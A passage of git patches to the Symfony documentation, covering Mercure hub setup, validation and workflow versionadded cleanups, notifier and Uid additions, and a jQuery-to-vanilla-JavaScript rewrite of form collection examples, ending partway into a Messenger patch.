diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5f85cb9092e..39b233addef 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -48,12 +48,6 @@ Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes. If the constraint has
 configuration options, define them as public properties on the constraint class.
 
-.. versionadded:: 5.2
-
-    The ability to use PHP attributes to configure constraints was introduced in
-    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
-    annotate constraints.
-
 Creating the Validator itself
 -----------------------------
 
@@ -230,10 +224,6 @@ Create a Reusable Set of Constraints
 In case you need to apply some common set of constraints in different places
 consistently across your application, you can extend the :doc:`Compound constraint </reference/constraints/Compound>`.
 
-.. versionadded:: 5.1
-
-    The ``Compound`` constraint was introduced in Symfony 5.1.
-
 Class Constraint Validator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 699711b661d..ac8df72cc6d 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -426,7 +426,3 @@ How to Sequentially Apply Constraints on a Single Property
 Sometimes, you may want to apply constraints sequentially on a single
 property. The :doc:`Sequentially constraint </reference/constraints/Sequentially>`
 can solve this for you in a more straightforward way than using a ``GroupSequence``.
-
-.. versionadded:: 5.1
-
-    The ``Sequentially`` constraint was introduced in Symfony 5.1.
diff --git a/workflow.rst b/workflow.rst
index 1d70f38b0d6..ea6c9a73f7e 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -382,20 +382,14 @@ order:
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
-    .. versionadded:: 5.1
+    The context is accessible in all events::
 
-        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+        // $context must be an array
+        $context = ['context_key' => 'context_value'];
+        $workflow->apply($subject, $transitionName, $context);
 
-    .. versionadded:: 5.2
-
-        In Symfony 5.2, the context is accessible in all events::
-
-            // $context must be an array
-            $context = ['context_key' => 'context_value'];
-            $workflow->apply($subject, $transitionName, $context);
-
-            // in an event listener
-            $context = $event->getContext(); // returns ['context']
+        // in an event listener
+        $context = $event->getContext(); // returns ['context']
 
 .. note::
 
@@ -492,17 +486,9 @@ missing a title::
         }
     }
 
-.. versionadded:: 5.1
-
-    The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
-
 Choosing which Events to Dispatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    Ability to choose which events to dispatch was introduced in Symfony 5.2.
-
 If you prefer to control which events are fired when performing each transition,
 use the ``events_to_dispatch`` configuration option. This option does not apply
 to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
@@ -593,13 +579,7 @@ events specified in the workflow configuration. In the above example the
 ``workflow.leave`` event will not be fired, even if it has been specified as an
 event to be dispatched for all transitions in the workflow configuration.
 
-.. versionadded:: 5.1
-
-    The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
-
-.. versionadded:: 5.2
-
-    The constants for other events (as seen below) were introduced in Symfony 5.2.
+Thees are all the available constants:
 
     * ``Workflow::DISABLE_LEAVE_EVENT``
     * ``Workflow::DISABLE_TRANSITION_EVENT``
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 98e5911561f..82aaf70ffce 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -12,10 +12,6 @@ applications needed to generate the images:
 * `Mermaid CLI`_, provides the ``mmdc`` command;
 * `PlantUML`_, provides the ``plantuml.jar`` file (which requires Java).
 
-.. versionadded:: 5.3
-
-    The ``mermaid`` dump format was introduced in Symfony 5.3.
-
 If you are defining the workflow inside a Symfony application, run this command
 to dump it as an image:
 

From 14f3623c0246150724b9ca1c0e72f50335c9d7ac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Wed, 23 Jun 2021 13:59:42 +0200
Subject: [PATCH 2345/7107] [Mercure] integration with Symfony cli and various
 improvements

---
 mercure.rst | 168 ++++++++++++++++++++++++++++------------------------
 1 file changed, 90 insertions(+), 78 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 85c814b5741..a350ccba706 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -22,8 +22,9 @@ server to clients. It is a modern and efficient alternative to timer-based
 polling and to WebSocket.
 
 Because it is built on top `Server-Sent Events (SSE)`_, Mercure is supported
-out of the box in most modern browsers (Edge and IE require `a polyfill`_) and
-has `high-level implementations`_ in many programming languages.
+out of the box in most modern browsers (old versions of Edge and IE require
+`a polyfill`_) and has `high-level implementations`_ in many programming
+languages.
 
 Mercure comes with an authorization mechanism,
 automatic re-connection in case of network issues
@@ -65,34 +66,19 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-An official and open source (AGPL) implementation of a Hub can be downloaded
-as a static binary from `Mercure.rocks`_.
+If you use the `Symfony Local Web Server </setup/symfony_server>`_ or `Symfony Docker`_,
+a Mercure Hub is automatically available.
 
-If you use `Symfony Docker`_,
-a Mercure Hub is already included and you can skip straight to the next section.
-
-On Linux and Mac, run the following command to start it:
-
-.. rst-class:: command-linux
-
-    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!' MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!' ./mercure run -config Caddyfile.dev
-
-On Windows run:
-
-.. rst-class: command-windows
-
-    > $env:SERVER_NAME=':3000'; $env:MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!'; $env:MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!'; .\mercure.exe run -config Caddyfile.dev
-
-.. note::
-
-    Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
-    and a managed, High Availability Hub are also provided by Mercure.rocks.
+For production usage, an official and open source (AGPL) Hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
 
 .. tip::
 
     The `API Platform distribution`_ comes with a Docker Compose configuration
     as well as a Helm chart for Kubernetes that are 100% compatible with Symfony,
-    and contain a Mercure hub.
+    and contain a build of the Caddy web server including a Mercure hub.
     You can copy them in your project, even if you don't use API Platform.
 
 Configuration
@@ -101,18 +87,30 @@ Configuration
 The preferred way to configure the MercureBundle is using
 :doc:`environment variables </configuration>`.
 
-Set the URL of your hub as the value of the ``MERCURE_PUBLISH_URL`` env var.
-The ``.env`` file of your project has been updated by the Flex recipe to
-provide example values.
-Set it to the URL of the Mercure Hub (``http://localhost:3000/.well-known/mercure`` by default).
+When MercureBundle has been installed, the ``.env`` file of your project
+has been updated by the Flex recipe to include the available env vars.
+
+If you use the Symfony Local Web Server or Symfony Docker,
+the default values are compatible with the provided Hub
+and you can skip straight to the next section.
 
-In addition, the Symfony application must bear a `JSON Web Token`_ (JWT)
-to the Mercure Hub to be authorized to publish updates.
+Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
+and ``MERCURE_PUBLIC_URL`` env vars.
+Sometimes a different URL must be called by the Symfony app (usually to publish),
+and the JavaScript client (usually to subscrribe). It's especially common when
+the Symfony app must use a local URL and the client-side JavaScript code a public one.
+In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
+Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
+the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 
-This JWT should be stored in the ``MERCURE_JWT_TOKEN`` environment variable.
+The clients must also bear a `JSON Web Token`_ (JWT)
+to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
+
+This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in our example).
+the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
+Symfony Docker).
 Its payload must contain at least the following structure to be allowed to
 publish:
 
@@ -136,7 +134,7 @@ public updates (see the authorization_ section for further information).
 
 .. caution::
 
-    Don't put the secret key in ``MERCURE_JWT_TOKEN``, it will not work!
+    Don't put the secret key in ``MERCURE_JWT_SECRET``, it will not work!
     This environment variable must contain a JWT, signed with the secret key.
 
     Also, be sure to keep both the secret key and the JWTs... secrets!
@@ -158,13 +156,14 @@ service, including controllers::
     // src/Controller/PublishController.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(HubInterface $hub): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
@@ -198,7 +197,7 @@ Subscribing to updates in JavaScript is straightforward:
 
 .. code-block:: javascript
 
-    const eventSource = new EventSource('http://localhost:3000/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
+    const eventSource = new EventSource('/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
     eventSource.onmessage = event => {
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
@@ -211,7 +210,7 @@ as patterns:
 .. code-block:: javascript
 
     // URL is a built-in JavaScript class to manipulate URLs
-    const url = new URL('http://localhost:3000/.well-known/mercure');
+    const url = new URL('/.well-known/mercure', window.origin);
     url.searchParams.append('topic', 'http://example.com/books/1');
     // Subscribe to updates of several Book resources
     url.searchParams.append('topic', 'http://example.com/books/2');
@@ -241,43 +240,6 @@ as patterns:
 
     Test if a URI Template match a URL using `the online debugger`_
 
-Async dispatching
------------------
-
-Instead of calling the ``Publisher`` service directly, you can also let Symfony
-dispatching the updates asynchronously thanks to the provided integration with
-the Messenger component.
-
-First, be sure :doc:`to install the Messenger component </messenger>`
-and to configure properly a transport (if you don't, the handler will
-be called synchronously).
-
-Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
-it will be handled automatically::
-
-    // src/Controller/PublishController.php
-    namespace App\Controller;
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\Update;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class PublishController
-    {
-        public function __invoke(MessageBusInterface $bus): Response
-        {
-            $update = new Update(
-                'http://example.com/books/1',
-                json_encode(['status' => 'OutOfStock'])
-            );
-
-            // Sync, or async (RabbitMQ, Kafka...)
-            $bus->dispatch($update);
-
-            return new Response('published!');
-        }
-    }
-
 Discovery
 ---------
 
@@ -324,7 +286,7 @@ and to subscribe to it:
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
 
             // Append the topic(s) to subscribe as query parameter
-            const hub = new URL(hubUrl);
+            const hub = new URL(hubUrl, window.origin);
             hub.searchParams.append('topic', 'http://example.com/books/{id}');
 
             // Subscribe to updates
@@ -348,7 +310,7 @@ of the ``Update`` constructor to ``true``::
 
     class PublishController extends AbstractController
     {
-        public function __invoke(HubInterface $hub): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
                 'http://example.com/books/1',
@@ -456,7 +418,7 @@ And here is the controller::
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request, Discovery $discovery, Authorization $authorization): Response
+        public function publish(Request $request, Discovery $discovery, Authorization $authorization): Response
         {
             $discovery->addLink($request);
 
@@ -601,7 +563,7 @@ During unit testing there is not need to send updates to Mercure.
 
 You can instead make use of the `MockHub`::
 
-    // tests/Functional/.php
+    // tests/FunctionalTest.php
     namespace App\Tests\Unit\Controller;
 
     use App\Controller\MessageController;
@@ -653,6 +615,10 @@ sent. Here is the HubStub implementation:
     App\Tests\Functional\Fixtures\HubStub:
         decorates: mercure.hub.default
 
+.. tip::
+
+    Symfony Panther has `a feature to test applications using Mercure`_.
+
 Debugging
 ---------
 
@@ -693,6 +659,51 @@ Enable the panel in your configuration, as follows:
 
 .. image:: /_images/mercure/panel.png
 
+Async dispatching
+-----------------
+
+.. tip::
+
+    Async dispatching is discouraged. Most Mercure hubs already
+    handle publications asynchronously and using Messenger is
+    usually not necessary.
+
+Instead of calling the ``Publisher`` service directly, you can also let Symfony
+dispatching the updates asynchronously thanks to the provided integration with
+the Messenger component.
+
+First, be sure :doc:`to install the Messenger component </messenger>`
+and to configure properly a transport (if you don't, the handler will
+be called synchronously).
+
+Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
+it will be handled automatically::
+
+    // src/Controller/PublishController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Mercure\Update;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class PublishController extends AbstractController
+    {
+        public function publish(MessageBusInterface $bus): Response
+        {
+            $update = new Update(
+                'http://example.com/books/1',
+                json_encode(['status' => 'OutOfStock'])
+            );
+
+            // Sync, or async (Doctrine, RabbitMQ, Kafka...)
+            $bus->dispatch($update);
+
+            return new Response('published!');
+        }
+    }
+
+
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events
 .. _`a polyfill`: https://github.com/Yaffle/EventSource
@@ -707,3 +718,4 @@ Enable the panel in your configuration, as follows:
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
+.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket

From 5b0869f1b10f961dc1f4cf7159a9d205f0098cff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 17 Jul 2021 09:20:54 +0200
Subject: [PATCH 2346/7107] Fix: Build

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 76113397e68..0e72bb4f3e2 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -97,3 +97,4 @@ whitelist:
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. code-block:: twig'
         - 'End to End Tests (E2E)'
+        - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'

From 500d3011d8994917c9470cf5054c046b42889138 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Sat, 17 Jul 2021 01:07:18 +0400
Subject: [PATCH 2347/7107] Invalid namespace and method name

---
 mercure.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index a350ccba706..e5ff26e147a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -450,11 +450,11 @@ the ``HubInterface`` object::
     // src/Mercure/MyTokenProvider.php
     namespace App\Mercure;
 
-    use Symfony\Component\Mercure\JWT\TokenProviderInterface;
+    use Symfony\Component\Mercure\Jwt\TokenProviderInterface;
 
     final class MyTokenProvider implements TokenProviderInterface
     {
-        public function getToken(): string
+        public function getJwt(): string
         {
             return 'the-JWT';
         }

From 5f443b99bf9712016e000c402579d193c4db3c9c Mon Sep 17 00:00:00 2001
From: Valentin Nazarov <i.kozlice@protonmail.com>
Date: Mon, 19 Jul 2021 01:37:07 +0300
Subject: [PATCH 2348/7107] [Notifier] Add bridge for smsc.ru

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 071cf8fa527..624d7c42220 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -75,6 +75,7 @@ Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@def
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 ==============  ====================================  ===========================================================================
@@ -94,7 +95,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.4
 
-    The MessageMedia integration was introduced in Symfony 5.4.
+    The MessageMedia and Smsc integration was introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 6144e6a62bf22f61c5531889245519802370a9de Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 19 Jul 2021 11:27:44 +0200
Subject: [PATCH 2349/7107] Fix: Typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 624d7c42220..d7b7990c3e2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -95,7 +95,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.4
 
-    The MessageMedia and Smsc integration was introduced in Symfony 5.4.
+    The MessageMedia and Smsc integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 23f4e26d03a119db02cc687cf07329ecb59e77b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 11:25:12 +0200
Subject: [PATCH 2350/7107] [Uid] Document NilUlid class

---
 components/uid.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index d6b3692be45..44521d52176 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -269,6 +269,17 @@ following methods to create a ``Ulid`` object from it::
     The ``fromBinary()``, ``fromBase32()``, ``fromBase58()`` and ``fromRfc4122()``
     methods were introduced in Symfony 5.3.
 
+There's also a special ``NilUlid`` class to represent ULID ``null`` values::
+
+    use Symfony\Component\Uid\NilUlid;
+
+    $ulid = new NilUlid();
+    // equivalent to $ulid = new Ulid('00000000000000000000000000');
+
+.. versionadded:: 5.4
+
+    The ``NilUlid`` class was introduced in Symfony 5.4.
+
 Converting ULIDs
 ~~~~~~~~~~~~~~~~
 

From 7fd5bde0075ae588d23a8840e5573fa4f05458ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 12:39:48 +0200
Subject: [PATCH 2351/7107] [Config] [Configuration] Added a note about XML and
 PHP formats

---
 configuration.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 1b028499eb1..be5c16c8728 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,6 +60,13 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the configuration
+    files defined in YAML format. If you define configuration in XML and/or PHP
+    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
+    and ``.php`` file extensions.
+
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so
 there's not even any performance difference between them.

From b6ee00c75ffedcd4b909c7c3ea394110240492aa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 13:40:48 +0200
Subject: [PATCH 2352/7107] Added a note about the config formats

---
 configuration.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 137e9037759..76d4cd1bd52 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,13 +60,6 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, by default Symfony only loads the configuration
-    files defined in YAML format. If you define configuration in XML and/or PHP
-    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
-    and ``.php`` file extensions.
-
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so
 there's not even any performance difference between them.
@@ -81,6 +74,13 @@ readable. These are the main advantages and disadvantages of each format:
 * **PHP**: very powerful and it allows you to create dynamic configuration with
   arrays or a :ref:`ConfigBuilder <config-config-builder>`.
 
+.. note::
+
+    By default Symfony only loads the configuration files defined in YAML
+    format. If you define configuration in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file
+    extensions.
+
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 5c960b49f501da099a29fa7aef8113716983b978 Mon Sep 17 00:00:00 2001
From: Arnaud POINTET <arnaud.pointet@gmail.com>
Date: Wed, 23 Jun 2021 11:30:47 +0200
Subject: [PATCH 2353/7107] Add vanilla js for add a collection element

---
 form/form_collections.rst | 90 +++++++++++++++------------------------
 1 file changed, 34 insertions(+), 56 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 89f079c944d..f804f608b6a 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -255,7 +255,7 @@ On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.bars|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
 .. seealso::
 
@@ -290,19 +290,9 @@ functionality with JavaScript:
 
 .. code-block:: javascript
 
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        var $tagsCollectionHolder = $('ul.tags');
-        // count the current form inputs we have (e.g. 2), use that as the new
-        // index when inserting a new item (e.g. 2)
-        $tagsCollectionHolder.data('index', $tagsCollectionHolder.find('input').length);
-
-        $('body').on('click', '.add_item_link', function(e) {
-            var $collectionHolderClass = $(e.currentTarget).data('collectionHolderClass');
-            // add a new tag form (see next code block)
-            addFormToCollection($collectionHolderClass);
-        })
-    });
+    document
+      .querySelectorAll('.add_item_link')
+      .forEach(btn => btn.addEventListener("click", addFormToCollection));
 
 The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
 attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
@@ -312,34 +302,23 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
 
 .. code-block:: javascript
 
-    function addFormToCollection($collectionHolderClass) {
-        // Get the ul that holds the collection of tags
-        var $collectionHolder = $('.' + $collectionHolderClass);
-
-        // Get the data-prototype explained earlier
-        var prototype = $collectionHolder.data('prototype');
+    const addFormToCollection = (e) => {
+      const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-        // get the new index
-        var index = $collectionHolder.data('index');
+      const item = document.createElement('li');
 
-        var newForm = prototype;
-        // You need this only if you didn't set 'label' => false in your tags field in TaskType
-        // Replace '__name__label__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        // newForm = newForm.replace(/__name__label__/g, index);
+      item.innerHTML = collectionHolder
+        .dataset
+        .prototype
+        .replace(
+          /__name__/g,
+          collectionHolder.dataset.index
+        );
 
-        // Replace '__name__' in the prototype's HTML to
-        // instead be a number based on how many items we have
-        newForm = newForm.replace(/__name__/g, index);
+      collectionHolder.appendChild(item);
 
-        // increase the index with one for the next item
-        $collectionHolder.data('index', index + 1);
-
-        // Display the form in the page in an li, before the "Add a tag" link li
-        var $newFormLi = $('<li></li>').append(newForm);
-        // Add the new form at the end of the list
-        $collectionHolder.append($newFormLi)
-    }
+      collectionHolder.dataset.index++;
+    };
 
 Now, each time a user clicks the ``Add a tag`` link, a new sub form will
 appear on the page. When the form is submitted, any new tag forms will be converted
@@ -552,36 +531,35 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    jQuery(document).ready(function() {
-        // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add a delete link to all of the existing tag form li elements
-        $collectionHolder.find('li').each(function() {
-            addTagFormDeleteLink($(this));
-        });
-
-        // ... the rest of the block from above
-    });
+    const tags = document.querySelectorAll('ul.tags')
+    tags.forEach((tag) => {
+        addTagFormDeleteLink(tag)
+    })
 
+    // ... the rest of the block from above
+    
     function addFormToCollection() {
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink($newFormLi);
+        addTagFormDeleteLink(item);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    function addTagFormDeleteLink($tagFormLi) {
-        var $removeFormButton = $('<button type="button">Delete this tag</button>');
-        $tagFormLi.append($removeFormButton);
+    const addTagFormDeleteLink = (tagFormLi) => {
+        const removeFormButton = document.createElement('button')
+        removeFormButton.classList
+        removeFormButton.innerText = 'Delete this tag'
+        
+        tagFormLi.append(removeFormButton);
 
-        $removeFormButton.on('click', function(e) {
+        removeFormButton.addEventListener('click', (e) => {
+            e.preventDefault()
             // remove the li for the tag form
-            $tagFormLi.remove();
+            tagFormLi.remove();
         });
     }
 
@@ -677,7 +655,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`jQuery`: http://jquery.com/
-.. _`JSFiddle`: http://jsfiddle.net/847Kf/4/
+.. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html

From f09ea9e7ae9ddabc92d286aa27d199f3a34c664e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Jul 2021 14:56:59 +0200
Subject: [PATCH 2354/7107] Minor code fix

---
 form/form_collections.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index f804f608b6a..3355bc72065 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -255,7 +255,7 @@ On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.bars|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
 .. seealso::
 

From 79d5a07c5b48987f3c44875dafe44027f9c23b20 Mon Sep 17 00:00:00 2001
From: AymDev <aymericmayeux@gmail.com>
Date: Sun, 18 Jul 2021 17:33:03 +0200
Subject: [PATCH 2355/7107] [Messenger] Supervisor graceful shutdown

---
 messenger.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e709b3ac37c..c4e79b5af8b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -653,6 +653,25 @@ config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
+Graceful Shutdown
+~~~~~~~~~~~~~~~~~
+
